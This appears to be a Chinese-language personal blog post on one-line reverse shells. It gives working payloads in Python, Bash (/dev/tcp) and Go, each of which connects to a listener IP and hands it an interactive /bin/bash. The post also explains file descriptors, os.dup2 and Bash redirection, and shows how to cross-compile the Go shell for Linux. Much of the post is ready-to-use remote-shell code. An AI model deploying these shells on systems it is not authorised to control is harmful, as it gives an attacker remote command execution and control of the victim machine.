一句话 Shell

旧爱的誓言像极了一个巴掌,每当你记起一句就挨一个耳光。

最近大脑比较懵逼,也不知道在干啥,也不知道在写啥。

Python 一句话反弹 Shell

今天在写 socket 的时候,用到了 python shell,于是乎就了解了一下操作。

反弹shell脚本如下:

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.30.169',9999));[os.dup2(s.fileno(),i) for i in range(3)];p=subprocess.call(['/bin/bash','-i'])"

展开看一下

1
2
3
4
5
6
7
8
import os
import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.30.169", 9999))
[os.dup2(s.fileno(), i) for i in range(3)]
subprocess.call(['/bin/bash', '-i'])

解释一下两个方法

os.dup2()

os.dup2() 方法用于将一个文件描述符 fd1 复制到另一个 fd2。

1
os.dup2(fd1, fd2);
  • fd1 – 要被复制的文件描述符
  • fd2 – 复制的文件描述符

dup2()传入两个文件描述符,fd1和fd2(fd1是必须存在的),如果fd2存在,就关闭fd2,然后将fd1代表的那个文件(可以想象成是P_fd1指针)强行复制给fd2,fd2这个文件描述符不会发生变化,但是fd2指向的文件就变成了fd1指向的文件。

类似于重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
import os

f = open('txt','a')
os.dup2(f.fileno(), 1) # 将这个文件描述符代表的文件,传递给1描述符指向的文件(也就是stdout)
f.close()
# print输出到标准输出流,就是文件描述符1
print('line1')
print('line2')

# 脚本执行结果:
# 生成一个txt文件,内容是:
# line1
# line2

socket.fileno()

返回调用该方法的 socket 对象的 fd,fd 可以用于 select() 等机制。在Linux中一切皆文件,套接字也不例外,每个套接字都有自己的文件描述符,调用 fileno() 可以查看对应 socket 对象的描述符。

文件描述符

维基百科:文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。

标准文件描述符:

文件描述符 用途 POSIX 名称 stdio流
0 标准输入 STDIN_FILENO stdin
1 标准输出 STDOUT_FILENO stdout
2 标准错误 STDERR_FILENO stderr

文件描述符参考

Bash 反弹 shell

1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

解释一下命令

bash -i

-i 这个参数表示的是产生交互式的shell

/dev/tcp/ip/port

/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

输入重定向

  • 格式: [n]< word (注意[n]与<之间没有空格)
  • 说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)

输出重定向

  • 格式: [n]> word
  • 说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)

标准输出与标准错误输出重定向

  • 格式: &> word >& word
  • 说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)

文件描述符的复制

  • 格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)
  • 说明:
    • 这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)
    • 这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

exec 绑定重定向

  • 格式:exec [n] </> file/[n]
  • 上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令

举个🌰

nc 监听

nc 监听

建立socket发送数据

1
echo xxx > /dev/tcp/192.168.0.105/1212

再举个🌰

还是 nc 监听

还是 nc 监听

接收数据

参考

Go 反弹个shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package main

import (
"net"
"os"
"os/exec"
)

func main() {
conn, err := net.Dial("tcp", "192.168.0.104:2333")
if err != nil {
os.Exit(1)
}

cmd := exec.Command("/bin/bash")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}

我们编译一个linux64位可执行程序(mac下)

1
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
  • GOOS:目标平台的操作系统(darwin、freebsd、linux、windows)
  • GOARCH:目标平台的体系架构(386、amd64、arm)
  • 交叉编译不支持 CGO 所以要禁用它

监听

监听

反弹shell

反弹shell